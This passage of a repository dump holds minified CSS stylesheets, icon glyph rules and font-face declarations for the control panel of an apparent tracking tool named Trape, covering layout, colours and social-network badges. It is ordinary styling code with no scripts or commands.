icon-shirtsinbulk:before{content:\"\\f214\";}.icon-simplybuilt:before{content:\"\\f215\";}.icon-skyatlas:before{content:\"\\f216\";}.icon-cart-plus:before{content:\"\\f217\";}.icon-cart-arrow-down:before{content:\"\\f218\";}.icon-diamond:before{content:\"\\f219\";}.icon-ship:before{content:\"\\f21a\";}.icon-user-secret:before{content:\"\\f21b\";}.icon-motorcycle:before{content:\"\\f21c\";}.icon-street-view:before{content:\"\\f21d\";}.icon-heartbeat:before{content:\"\\f21e\";}.icon-venus:before{content:\"\\f221\";}.icon-mars:before{content:\"\\f222\";}.icon-mercury:before{content:\"\\f223\";}.icon-intersex:before{content:\"\\f224\";}.icon-transgender:before{content:\"\\f224\";}.icon-transgender-alt:before{content:\"\\f225\";}.icon-venus-double:before{content:\"\\f226\";}.icon-mars-double:before{content:\"\\f227\";}.icon-venus-mars:before{content:\"\\f228\";}.icon-mars-stroke:before{content:\"\\f229\";}.icon-mars-stroke-v:before{content:\"\\f22a\";}.icon-mars-stroke-h:before{content:\"\\f22b\";}.icon-neuter:before{content:\"\\f22c\";}.icon-genderless:before{content:\"\\f22d\";}.icon-facebook-official:before{content:\"\\f230\";}.icon-pinterest-p:before{content:\"\\f231\";}.icon-whatsapp:before{content:\"\\f232\";}.icon-server:before{content:\"\\f233\";}.icon-user-plus:before{content:\"\\f234\";}.icon-user-times:before{content:\"\\f235\";}.icon-bed:before{content:\"\\f236\";}.icon-hotel:before{content:\"\\f236\";}.icon-viacoin:before{content:\"\\f237\";}.icon-train:before{content:\"\\f238\";}.icon-subway:before{content:\"\\f239\";}.icon-medium:before{content:\"\\f23a\";}.icon-y-combinator:before{content:\"\\f23b\";}.icon-yc:before{content:\"\\f23b\";}.icon-optin-monster:before{content:\"\\f23c\";}.icon-opencart:before{content:\"\\f23d\";}.icon-expeditedssl:before{content:\"\\f23e\";}.icon-battery-4:before{content:\"\\f240\";}.icon-battery-full:before{content:\"\\f240\";}.icon-battery-3:before{content:\"\\f241\";}.icon-battery-three-quarters:before{content:\"\\f241\";}.icon-battery-2:before{content:\"\\f242\";}.icon-battery-half:before{content:\"\\f242\";}.icon-battery-1:before{content:\"\\f243\";}.icon-battery-quarter:before{content:\"\\f243\";}.icon-battery-0:before{content:\"\\f244\";}.icon-battery-empty:before{content:\"\\f244\";}.icon-mouse-pointer:before{content:\"\\f245\";}.icon-i-cursor:before{content:\"\\f246\";}.icon-object-group:before{content:\"\\f247\";}.icon-object-ungroup:before{content:\"\\f248\";}.icon-sticky-note:before{content:\"\\f249\";}.icon-sticky-note-o:before{content:\"\\f24a\";}.icon-cc-jcb:before{content:\"\\f24b\";}.icon-cc-diners-club:before{content:\"\\f24c\";}.icon-clone:before{content:\"\\f24d\";}.icon-balance-scale:before{content:\"\\f24e\";}.icon-hourglass-o:before{content:\"\\f250\";}.icon-hourglass-1:before{content:\"\\f251\";}.icon-hourglass-start:before{content:\"\\f251\";}.icon-hourglass-2:before{content:\"\\f252\";}.icon-hourglass-half:before{content:\"\\f252\";}.icon-hourglass-3:before{content:\"\\f253\";}.icon-hourglass-end:before{content:\"\\f253\";}.icon-hourglass:before{content:\"\\f254\";}.icon-hand-grab-o:before{content:\"\\f255\";}.icon-hand-rock-o:before{content:\"\\f255\";}.icon-hand-paper-o:before{content:\"\\f256\";}.icon-hand-stop-o:before{content:\"\\f256\";}.icon-hand-scissors-o:before{content:\"\\f257\";}.icon-hand-lizard-o:before{content:\"\\f258\";}.icon-hand-spock-o:before{content:\"\\f259\";}.icon-hand-pointer-o:before{content:\"\\f25a\";}.icon-hand-peace-o:before{content:\"\\f25b\";}.icon-trademark:before{content:\"\\f25c\";}.icon-registered:before{content:\"\\f25d\";}.icon-creative-commons:before{content:\"\\f25e\";}.icon-gg:before{content:\"\\f260\";}.icon-gg-circle:before{content:\"\\f261\";}.icon-tripadvisor:before{content:\"\\f262\";}.icon-odnoklassniki:before{content:\"\\f263\";}.icon-odnoklassniki-square:before{content:\"\\f264\";}.icon-get-pocket:before{content:\"\\f265\";}.icon-wikipedia-w:before{content:\"\\f266\";}.icon-safari:before{content:\"\\f267\";}.icon-chrome:before{content:\"\\f268\";}.icon-firefox:before{content:\"\\f269\";}.icon-opera:before{content:\"\\f26a\";}.icon-internet-explorer:before{content:\"\\f26b\";}.icon-television:before{content:\"\\f26c\";}.icon-tv:before{content:\"\\f26c\";}.icon-contao:before{content:\"\\f26d\";}.icon-500px:before{content:\"\\f26e\";}.icon-amazon:before{content:\"\\f270\";}.icon-calendar-plus-o:before{content:\"\\f271\";}.icon-calendar-minus-o:before{content:\"\\f272\";}.icon-calendar-times-o:before{content:\"\\f273\";}.icon-calendar-check-o:before{content:\"\\f274\";}.icon-industry:before{content:\"\\f275\";}.icon-map-pin:before{content:\"\\f276\";}.icon-map-signs:before{content:\"\\f277\";}.icon-map-o:before{content:\"\\f278\";}.icon-map:before{content:\"\\f279\";}.icon-commenting:before{content:\"\\f27a\";}.icon-commenting-o:before{content:\"\\f27b\";}.icon-houzz:before{content:\"\\f27c\";}.icon-vimeo:before{content:\"\\f27d\";}.icon-black-tie:before{content:\"\\f27e\";}.icon-fonticons:before{content:\"\\f280\";}.icon-reddit-alien:before{content:\"\\f281\";}.icon-edge:before{content:\"\\f282\";}.icon-credit-card-alt:before{content:\"\\f283\";}.icon-codiepie:before{content:\"\\f284\";}.icon-modx:before{content:\"\\f285\";}.icon-fort-awesome:before{content:\"\\f286\";}.icon-usb:before{content:\"\\f287\";}.icon-product-hunt:before{content:\"\\f288\";}.icon-mixcloud:before{content:\"\\f289\";}.icon-scribd:before{content:\"\\f28a\";}.icon-pause-circle:before{content:\"\\f28b\";}.icon-pause-circle-o:before{content:\"\\f28c\";}.icon-stop-circle:before{content:\"\\f28d\";}.icon-stop-circle-o:before{content:\"\\f28e\";}.icon-shopping-bag:before{content:\"\\f290\";}.icon-shopping-basket:before{content:\"\\f291\";}.icon-hashtag:before{content:\"\\f292\";}.icon-bluetooth:before{content:\"\\f293\";}.icon-bluetooth-b:before{content:\"\\f294\";}.icon-percent:before{content:\"\\f295\";}.icon-feedback:before{content:\"\\ea81\";}"
  },
  {
    "path": "static/css/services-icons.css",
    "content": "@font-face{font-family:services;src:url(fonts/services.eot?5iun5b);src:url(fonts/services.eot?5iun5b#iefix) format('embedded-opentype'),url(fonts/services.ttf?5iun5b) format('truetype'),url(fonts/services.woff?5iun5b) format('woff'),url(fonts/services.svg?5iun5b#services) format('svg');font-weight:400;font-style:normal}"
  },
  {
    "path": "static/css/styles.css",
    "content": "@import url(https://fonts.googleapis.com/css?family=Niconne|Baloo+Bhaina|Maven+Pro:400,700,900|Lato:300,400,700,900|Ubuntu:200,400,500,600,700,900);.TrapeControl-Header--menu---btnUpdate----button,.TrapeControl-Preview--box---Sidebar----NetworksDefine:before,body,body.TrapeBody-Control,body.TrapeBody-Login,html{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased}a,abbr,acronym,address,applet,article,aside,audio,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{padding:0;border:0;outline:0;vertical-align:baseline}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;-webkit-touch-callout:none;-webkit-tap-highlight-color:transparent}body,body.TrapeBody-Control,body.TrapeBody-Login{margin:0;min-height:100%;background-color:#fff;text-rendering:optimizeLegibility;color:#000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen,Ubuntu,Cantarell,Fira Sans,Droid Sans,Helvetica Neue,sans-serif}body.TrapeBody-Login{border-top:4px solid #000}body.TrapeBody-Control{border-top:none}::-webkit-scrollbar-corner{background-color:inherit}::-webkit-scrollbar{display:block;-webkit-appearance:none;width:12px;background-color:#fafbfc}::-webkit-scrollbar-thumb{border-radius:12px;border:4px solid rgba(255,255,255,0);background-clip:content-box;background-color:rgba(0,0,0,.3)}h2{margin:0}.TrapeControl-Header{display:block;height:68px;vertical-align:top;background:#fff;border-bottom:1px solid #f0ebf3;margin:0 auto;width: 780px;position:relative;top:0;left:0;right:0;}.TrapeControl-Header--logo{font-size:27px;float:left;font-weight:600;margin-top:4px;margin-bottom:14px}.TrapeControl-Header--logoText{font-size:21px;margin-top:9px;margin-bottom:9px;margin-left:8px;float:left;font-weight:600;color:#000;font-family:ubuntu;text-decoration:none}.TrapeControl-Header--Version,.TrapeControl-History--Logs---RefererBadge,.TrapeLogin-Footer--Version{display:-webkit-inline-box;display:-moz-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;position:relative;z-index:3;margin-top:0;margin-bottom:0;vertical-align:middle}.TrapeControl-History--Logs---RefererBadge{position:absolute;top:-9px;right:129px}.TrapeControl-Header--Version---name,.TrapeControl-History--Logs---RefererBadge----ref,.TrapeLogin-Footer--Version---name{outline:0;background-color:#FFD262;border:1px solid #E4B34F;border-right:0;border-top-left-radius:4px;border-bottom-left-radius:4px;font-family:Ubuntu,sans-serif;font-size:10px;font-weight:500;text-transform:uppercase;padding:2px 6px;color:#b68f3f;text-decoration:none}.TrapeControl-History--Logs---RefererBadge----ref{line-height:1;border:1px solid #0071ce;background-color:#007ee5;color:#fff;padding:2px 4px}.TrapeControl-Header--Version---number,.TrapeControl-History--Logs---RefererBadge----domain,.TrapeLogin-Footer--Version---number{border-top-right-radius:4px;border-bottom-right-radius:4px;background-color:#fff;outline:0;color:#b3b0b8;text-transform:uppercase;font-family:Ubuntu,sans-serif;font-size:10px;font-weight:500;border:1px solid #f0ebf3;padding:2px 6px;cursor:pointer;text-decoration:none}.TrapeControl-History--Logs---RefererBadge----domain{line-height:1;background-color:#FBFCFF}.TrapeLogin-Footer--Version---name{font-size:11px;padding:1px 7px;color:#b68f3f}.TrapeLogin-Footer--Version---number{font-size:11px;padding:1px 7px}.TrapeLogin-Footer--Copyright{margin-top:24px!important;}.TrapeLogin-Footer--Copyright---linkBoxug{color:#000;font-weight:600;text-decoration:none;font-family:\"Maven Pro\";}.TrapeLogin-Footer--Copyright---linkBoxug:hover{color:#3a7ac5}.TrapeLogin-Footer--Copyright---linkBoxug:active{color:#346db1}.TrapeControl-Header--logo---Box{text-align:center;display:inline-block;width:42px;height:42px;float:left;margin-top:9px;border-radius:6px;background:#000;-webkit-transition:all .2s ease-out;-moz-transition:all .2s ease-out;-ms-transition:all .2s ease-out;-o-transition:all .2s ease-out;transition:all .2s ease-out;z-index:2}.TrapeControl-Header--logo---letter{font-family:\"Baloo Bhaina\",sans-serif;font-size:38px;font-weight:500;color:#fff;line-height:50px;vertical-align:middle}.TrapeControl-Header--logo---description{display:block;font-size:13px;color:#b3b0b8;font-weight:400;margin-top:2px}.TrapeControl-Header--menu{float:right;margin-top:20px;margin-right:2px;border-left:1px solid #f0ebf3;padding-left:11px}.TrapeControl-Header--menu---btnLogout{z-index:1;color:#b3b0b8;font-weight:700;text-align:center;display:inline-block;margin-top:-8px;cursor:pointer;text-decoration:none}.TrapeControl-Header--menu---btnLogout:hover{color:#000}.TrapeControl-Header--menu---btnLogout:active{color:#007ee5}.TrapeControl-Header--menu---btnLogout----Icon{font-size:20px!important}.TrapeControl-Header--menu---btnLogout----Icon:before{content:\"\\f08b\"}.TrapeControl-Header--menu---btnLogout----Text{font-size:13px;margin-top:4px;color:#b3b0b8;text-transform:uppercase;font-family:Ubuntu,sans-serif}.TrapeControl-Wrapper{display:table;width:100%;position:absolute;font-family:Ubuntu,sans-serif}.TrapeControl-Wrapper--PrincipalData{width: 780px;margin:14px auto 0;}.TrapeControl-Wrapper--PrincipalData---Info{position:relative;line-height:24px;font-size:11px;text-align:left;font-family:Ubuntu,sans-serif;width: 780px;}.TrapeControl-Preview--box---Sidebar----NetworksStatusSessions,.TrapeControl-Wrapper--PrincipalData---Info h2,.TrapeControl-Wrapper--PrincipalData---LicenseTime,.TrapeControl-Wrapper--PrincipalData---YourAccess{color:#000;font-weight:500;font-size:11px;text-transform:uppercase;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;padding-right:160px}.TrapeControl-Preview--box---Sidebar----NetworksStatusSessions,.TrapeControl-Wrapper--PrincipalData---LicenseTime,.TrapeControl-Wrapper--PrincipalData---YourAccess{margin-top:-26px;float:right;font-size:13px!important;padding-right:0!important;color:#b3b0b8!important;font-family:Ubuntu,sans-serif}.TrapeControl-Wrapper--PrincipalData---LicenseTime{margin-top:2px}.TrapeControl-Wrapper--PrincipalData---LicenseTime----total{color:#ff5722}.TrapeControl-Wrapper--PrincipalData---LicenseTime----type{color:#b3b0b8}.TrapeControl-Preview--box---Sidebar----NetworksStatusSessions{margin-top:1px;margin-bottom:11px;float:none;font-size:11px!important;letter-spacing:.5px}.TrapeControl-Wrapper--PrincipalData---YourAccess----totalUsed{color:#49b882!important}.TrapeControl-Wrapper--PrincipalData---YourAccess----totalAvailable{color:#b3b0b8!important}.TrapeControl-Preview--box---Sidebar----NetworksStatusSessions-----separator,.TrapeControl-Wrapper--PrincipalData---YourAccess----separator{position:relative;margin-left:4px;margin-right:4px;line-height:0;color:#f0ebf3;border-left:1px solid #f0ebf3}.TrapeControl-Preview--box---Sidebar----NetworksStatusSessions-----totalOnline{color:#49b882!important;font-size:13px!important}.TrapeControl-Preview--box---Sidebar----NetworksStatusSessions-----totalOffline{color:#ed5565!important;font-size:13px!important}.TrapeControl-Wrapper--PrincipalData---Info h3{color:#3a7ac5;font-weight:700;font-size:12px;display:inline-block;float:left;line-height:.5}.TrapeControl-Wrapper--PrincipalData---InfoDetails{border-bottom:1px solid #f0ebf3;padding-bottom:14px;margin-bottom:6px}.TrapeControl-Wrapper--PrincipalData---InfoDetails----Icons{vertical-align:sub;font-size:17px!important;color:#b3b0b8!important;margin-right:4px}.TrapeControl-Wrapper--PrincipalData---InfoDetails---domainClone,.TrapeControl-Wrapper--PrincipalData---InfoDetails---injectCode{color:#b3b0b8;font-weight:400;font-size:11px;display:block;text-transform:uppercase;overflow-wrap:break-word;word-wrap:break-word;word-break:break-word;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;padding-right:215px;letter-spacing:.5px}.TrapeControl-Wrapper--PrincipalData---InfoDetails---domainClone a,.TrapeControl-Wrapper--PrincipalData---InfoDetails---injectCode a{color:#007ee5;text-decoration:underline;text-transform:unset;font-weight:500;letter-spacing:.5px;font-size:11px;margin-left:2px}.TrapeControl-Wrapper--PrincipalData---InfoDetails---domainClone a:hover,.TrapeControl-Wrapper--PrincipalData---InfoDetails---injectCode a:hover{color:#198ae7;text-decoration:underline}.TrapeControl-Wrapper--PrincipalData---InfoDetails---domainClone a:active,.TrapeControl-Wrapper--PrincipalData---InfoDetails---injectCode a:active{color:#0064b7}.TrapeControl-Wrapper--PrincipalData---InfoDetails---start{color:#b3b0b8;font-size:11px;line-height:2;text-transform:uppercase;letter-spacing:.5px}.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;position:relative;top:-6px;text-align:right;float:right}.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----url{outline:0;background-color:#FBFCFF;border:1px solid #f0ebf3;border-right:0;border-top-left-radius:3px;border-bottom-left-radius:3px;font-family:Ubuntu,sans-serif;font-size:11px;font-weight:500;padding:2px 10px;text-decoration:none;color:#b3b0b8;overflow-wrap:break-word;word-wrap:break-word;word-break:break-word;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;width:194px;text-align:left}.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----url:hover{text-decoration:underline}.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----button,.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----buttonShare{background-color:#fff;outline:0;color:#007ee5;text-transform:uppercase;font-family:Lato,sans-serif;line-height:12px;text-decoration:none;font-size:12px;font-weight:600;border:1px solid #f0ebf3;padding:4px 8px;cursor:pointer;-webkit-appearance:none;-moz-appearance:none;-ms-appearance:none;-o-appearance:none}.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----button:nth-child(3),.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----buttonShare:nth-child(3){border-left:none!important;border-top-right-radius:3px;border-bottom-right-radius:3px}.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----button:nth-child(3):active,.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----button:nth-child(3):hover,.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----buttonShare:nth-child(3):active,.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----buttonShare:nth-child(3):hover{border-left:none}.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----button:hover,.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----buttonShare:hover{border:1px solid #0071ce;background-color:#007ee5;color:#fff}.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----button:active,.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----buttonShare.is-active--up,.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----buttonShare:active{background-color:#0071ce;border:1px solid #0058a0;color:#fff}.TrapeControl-ViewDetails{position:fixed;height:100%;width:100%;top:0;left:0;right:0;bottom:0;opacity:0;background-color:rgba(255,255,255,.8);justify-content:center;align-items:center;pointer-events:none;-webkit-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);-moz-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);-ms-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);-o-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);transition:all .5s cubic-bezier(.59,-.17,.3,1.67);-webkit-transform:translate(0,-50px);-moz-transform:translate(0,-50px);-ms-transform:translate(0,-50px);-o-transform:translate(0,-50px);transform:translate(0,-50px);z-index:99}.TrapeControl-ViewDetails.active{pointer-events:auto;opacity:1;-webkit-transform:scale(1);-moz-transform:scale(1);-ms-transform:scale(1);-o-transform:scale(1);transform:scale(1)}.TrapeControl-Preview{width: 780px;background:#fff;height:562px;margin:68px auto 0;box-shadow:0 5px 10px 10px rgba(18,24,33,.05),0 5px 15px rgba(18,24,33,.2);border-radius:6px;z-index:2000;}.TrapeControl-Preview--buttonClose{position:absolute;padding:4px 6px;font-size:16px;line-height:16px;text-align:center;background-color:#fff;color:#ED5565;top:-10px;right:-10px;-webkit-transition:all .2s ease-in-out;-moz-transition:all .2s ease-in-out;-ms-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out;cursor:pointer;border-radius:100%;border:1px solid #f0ebf3}.TrapeControl-Preview--buttonClose:hover{background-color:#ED5565;border:1px solid #bd4450;color:#fff}.TrapeControl-Preview--buttonClose:active{background-color:#d54c5a;border:1px solid #a53b46;color:#fff}@media only screen and (max-width:40em){.TrapeControl-Preview{width:100%;height:100%;-webkit-overflow-scrolling:touch;margin:0;top:0;left:0;border-radius:0}.TrapeControl-Preview--buttonClose{position:absolute;padding:3px 5px;font-size:16px;line-height:16px;color:#ED5565;top:0;right:0;border-radius:0;border:1px solid #f0ebf3;border-right:none!important;border-top:none!important}}.TrapeControl-Preview--box{position:relative}.TrapeControl-Preview--box:after{display:block;content:'';clear:both}.TrapeControl-Preview--box---Sidebar{color:#fff;background-color:#fff;border-radius:0 6px 0 0;border-left:1px solid #f0ebf3;width:36%;float:right;height:380px}.TrapeControl-Preview--box---Sidebar----title,.TrapeControl-Preview--box---Sidebar----titlePlayAttack,.TrapeControl-PreviewSummary--info---Sidebar----title{border-top:1px solid #f0ebf3;text-align:left;margin:30px 13px 2px}.TrapeControl-Preview--box---Sidebar----title h2,.TrapeControl-Preview--box---Sidebar----titlePlayAttack h2,.TrapeControl-PreviewSummary--info---Sidebar----title h2{display:inline-block;position:relative;top:-12px;padding:3px 6px;font-weight:500;font-size:10px;font-family:ubuntu;letter-spacing:.5px;text-transform:uppercase;border-radius:3px;color:#b3b0b8;background-color:#f0ebf3}.TrapeControl-Preview--box---Sidebar----title h2{display:none}.TrapeControl-Preview--box---Sidebar----titlePlayAttack,.TrapeControl-PreviewSummary--info---Sidebar----title{text-align:center!important;margin:14px 0 -6px}.TrapeControl-Preview--box---Sidebar----titlePlayAttack h2,.TrapeControl-PreviewSummary--info---Sidebar----title h2{font-size:10px}.TrapeControl-Preview--box---Sidebar----Networks{text-align:center;margin-top:0}.TrapeControl-Preview--box---Sidebar----NetworksDefine{padding:0 8px 0 36px;line-height:19px;color:#fff;font-family:Ubuntu,sans-serif;font-weight:500;display:inline-block;vertical-align:middle;margin:2px;width:77px;position:relative;border-radius:3px;text-decoration:none!important}.TrapeControl-Preview--box---Sidebar----NetworksDefine:before{font-family:boxicons,sans-serif;color:#fff;border-radius:4px 0 0 4px;position:absolute;top:0;left:0;bottom:0;width:26px;font-size:14px;text-align:center;line-height:20px;background-color:rgba(0,0,0,.2);border-right:1px solid rgba(0,0,0,.115)}.TrapeControl-Preview--box---Sidebar----NetworksStatus,.c-offline,.c-online{font-size:10px;font-family:Ubuntu,sans-serif;font-weight:500;border-radius:4px;text-transform:uppercase}.TrapeControl-Preview--box---Sidebar----NetworksStatus{background-color:#fff;padding:1px 6px;letter-spacing:.5px;vertical-align:bottom}.online{color:#49b882}.online:hover{cursor:pointer}.offline{color:#ed5565}.c-offline,.c-online{background-color:#49b882;color:#fff;padding:2px 6px;vertical-align:middle;margin-left:5px;margin-right:5px}.amazon:before,.bitbucket:before,.facebook:before,.github:before,.gmail:before,.medium:before,.paypal:before,.reddit:before,.spotify:before,.tumblr:before,.twitter:before,.vkontakte:before{font-family:boxicons}.c-offline{background-color:#ed5565}.facebook{background-color:#3B5998;box-shadow:1px 1px 0 0 #2f4779,1px -1px 0 0 #2f4779,-1px 1px 0 0 #2f4779,-1px -1px 0 0 #2f4779}.facebook:before{content:\"\\f09a\"}.twitter{background:#00ACEE;box-shadow:1px 1px 0 0 #0089be,1px -1px 0 0 #0089be,-1px 1px 0 0 #0089be,-1px -1px 0 0 #0089be}.twitter:before{content:\"\\f099\"}.vkontakte{background:#45668e;box-shadow:1px 1px 0 0 #375171,1px -1px 0 0 #375171,-1px 1px 0 0 #375171,-1px -1px 0 0 #375171}.vkontakte:before{content:\"\\ea60\"}.reddit{background:#FF4500;box-shadow:1px 1px 0 0 #cc3700,1px -1px 0 0 #cc3700,-1px 1px 0 0 #cc3700,-1px -1px 0 0 #cc3700}.reddit:before{content:\"\\f281\"}.tumblr{background:#32506d;box-shadow:1px 1px 0 0 #284057,1px -1px 0 0 #284057,-1px 1px 0 0 #284057,-1px -1px 0 0 #284057}.tumblr:before{content:\"\\f173\"}.medium{background:#00AB6C;box-shadow:1px 1px 0 0 #008856,1px -1px 0 0 #008856,-1px 1px 0 0 #008856,-1px -1px 0 0 #008856}.medium:before{content:\"\\f23a\"}.dropbox{background:#007ee5;box-shadow:1px 1px 0 0 #0064b7,1px -1px 0 0 #0064b7,-1px 1px 0 0 #0064b7,-1px -1px 0 0 #0064b7}.dropbox:before{font-family:boxicons;content:\"\\f16b\"}.paypal{background:#003087;box-shadow:1px 1px 0 0 #00266c,1px -1px 0 0 #00266c,-1px 1px 0 0 #00266c,-1px -1px 0 0 #00266c}.paypal:before{content:\"\\f1ed\"}.amazon{background:#f90;box-shadow:1px 1px 0 0 #cc7a00,1px -1px 0 0 #cc7a00,-1px 1px 0 0 #cc7a00,-1px -1px 0 0 #cc7a00}.amazon:before{content:\"\\f270\"}.spotify{background:#1db954;box-shadow:1px 1px 0 0 #179443,1px -1px 0 0 #179443,-1px 1px 0 0 #179443,-1px -1px 0 0 #179443}.spotify:before{content:\"\\f1bc\"}.bitbucket{background:#205081;box-shadow:1px 1px 0 0 #194067,1px -1px 0 0 #194067,-1px 1px 0 0 #194067,-1px -1px 0 0 #194067}.bitbucket:before{content:\"\\f171\"}.github{background-color:#24292e;box-shadow:1px 1px 0 0 #15181b,1px -1px 0 0 #15181b,-1px 1px 0 0 #15181b,-1px -1px 0 0 #15181b}.github:before{content:\"\\f09b\"}.gmail{background:#dd4b39;box-shadow:1px 1px 0 0 #ac2d1e,1px -1px 0 0 #ac2d1e,-1px 1px 0 0 #ac2d1e,-1px -1px 0 0 #ac2d1e}.gmail:before{content:\"\\f1a0\"}.airbnb:before,.disqus:before,.foursquare:before,.hackernews:before,.instagram:before,.slack:before{font-family:services}.instagram{background:#fb3958;box-shadow:1px 1px 0 0 #c82d46,1px -1px 0 0 #c82d46,-1px 1px 0 0 #c82d46,-1px -1px 0 0 #c82d46}.instagram:before{content:\"\\e997\"}.foursquare{background:#2d5be3;box-shadow:1px 1px 0 0 #2448b5,1px -1px 0 0 #2448b5,-1px 1px 0 0 #2448b5,-1px -1px 0 0 #2448b5}.foursquare:before{content:\"\\e961\"}.airbnb{background:#fd5c63;box-shadow:1px 1px 0 0 #ca494f,1px -1px 0 0 #ca494f,-1px 1px 0 0 #ca494f,-1px -1px 0 0 #ca494f}.airbnb:before{content:\"\\e90e\"}.hackernews{background:#f60;box-shadow:1px 1px 0 0 #cc5100,1px -1px 0 0 #cc5100,-1px 1px 0 0 #cc5100,-1px -1px 0 0 #cc5100}.hackernews:before{content:\"\\ea88\"}.slack{background:#3eb991;box-shadow:1px 1px 0 0 #319474,1px -1px 0 0 #319474,-1px 1px 0 0 #319474,-1px -1px 0 0 #319474}.slack:before{content:\"\\ea29\"}.disqus{background:#00ACEE;box-shadow:1px 1px 0 0 #0089be,1px -1px 0 0 #0089be,-1px 1px 0 0 #0089be,-1px -1px 0 0 #0089be}.disqus:before{content:\"\\e949\"}.square{background-color:#1b2126;box-shadow:1px 1px 0 0 #15181b,1px -1px 0 0 #15181b,-1px 1px 0 0 #15181b,-1px -1px 0 0 #15181b}.square:before{font-family:boxicons;content:\"\\f0c8\";font-size:15px}.meetup:before,.patreon:before{font-family:services}.meetup{background:#F64060;box-shadow:1px 1px 0 0 #c4334c,1px -1px 0 0 #c4334c,-1px 1px 0 0 #c4334c,-1px -1px 0 0 #c4334c}.meetup:before{content:\"\\ea8f\"}.patreon{background:#F96854;box-shadow:1px 1px 0 0 #c75343,1px -1px 0 0 #c75343,-1px 1px 0 0 #c75343,-1px -1px 0 0 #c75343}.patreon:before{content:\"\\e9ef\"}.udemy{background:#e72424;box-shadow:1px 1px 0 0 #b81c1c,1px -1px 0 0 #b81c1c,-1px 1px 0 0 #b81c1c,-1px -1px 0 0 #b81c1c}.udemy:before{font-family:Niconne;content:\"u\";font-size:38px;line-height:9px}.etsy:before,.eventbrite:before,.khanacademy:before,.messenger:before,.snapchat:before,.twitch:before,.youtube:before{font-family:services}.youtube{background:red;box-shadow:1px 1px 0 0 #c00,1px -1px 0 0 #c00,-1px 1px 0 0 #c00,-1px -1px 0 0 #c00}.youtube:before{content:\"\\ea8a\"}.snapchat{background:#F7EE3B;box-shadow:1px 1px 0 0 #c5be2f,1px -1px 0 0 #c5be2f,-1px 1px 0 0 #c5be2f,-1px -1px 0 0 #c5be2f}.snapchat:before{content:\"\\ea2e\"}.messenger{background:#0084ff;box-shadow:1px 1px 0 0 #0069cc,1px -1px 0 0 #0069cc,-1px 1px 0 0 #0069cc,-1px -1px 0 0 #0069cc}.messenger:before{content:\"\\e9c4\"}.khanacademy{background:#9db63b;box-shadow:1px 1px 0 0 #7d912f,1px -1px 0 0 #7d912f,-1px 1px 0 0 #7d912f,-1px -1px 0 0 #7d912f}.khanacademy:before{content:\"\\e9a8\"}.eventbrite{background:#f6682f;box-shadow:1px 1px 0 0 #c45325,1px -1px 0 0 #c45325,-1px 1px 0 0 #c45325,-1px -1px 0 0 #c45325}.eventbrite:before{content:\"\\e955\"}.etsy{background:#f45800;box-shadow:1px 1px 0 0 #c34600,1px -1px 0 0 #c34600,-1px 1px 0 0 #c34600,-1px -1px 0 0 #c34600}.etsy:before{content:\"\\e954\"}.twitch{background:#6441a4;box-shadow:1px 1px 0 0 #503483,1px -1px 0 0 #503483,-1px 1px 0 0 #503483,-1px -1px 0 0 #503483}.twitch:before{content:\"\\ea5f\"}.TrapeControl-Preview--box---Sidebar----NetworksBehavior{display:inline-block;position:relative;top:8px;font-weight:500;font-size:10px;letter-spacing:.5px;text-align:left;text-transform:uppercase;border-radius:4px;color:#b3b0b8;font-family:Ubuntu,sans-serif}.TrapeControl-Preview--box---Sidebar----NetworksBehavior i{margin-right:3px;font-size:12px}.TrapeControl-Preview--box---Sidebar----NetworksBehavior span{background-color:#000;padding:2px 6px;border-radius:4px;font-size:10px;color:#fff}.TrapeControl-Preview--box---Mapbox{overflow:hidden;position:relative;height:380px;border-radius:6px 0 0;width: 64%;float:left;}.TrapeControl-Preview--box---Distance,.TrapeControl-Preview--box---MapboxDataIPs,.TrapeControl-Preview--box---SummaryLocation{display:inline-block;position:absolute;bottom:0;left:0;font-family:Ubuntu,sans-serif;font-weight:400;padding-right:10px;font-size:12px;line-height:27px;height:27px;color:#b3b0b8;background:#fff;border-radius:0;width:100%;text-align:left;z-index:3;border-left:none}.TrapeControl-Preview--box---Distance,.TrapeControl-Preview--box---SummaryLocation{bottom:27px;border-bottom:1px solid #f0ebf3}.TrapeControl-Preview--box---Distance{bottom:54px;border-top:1px solid 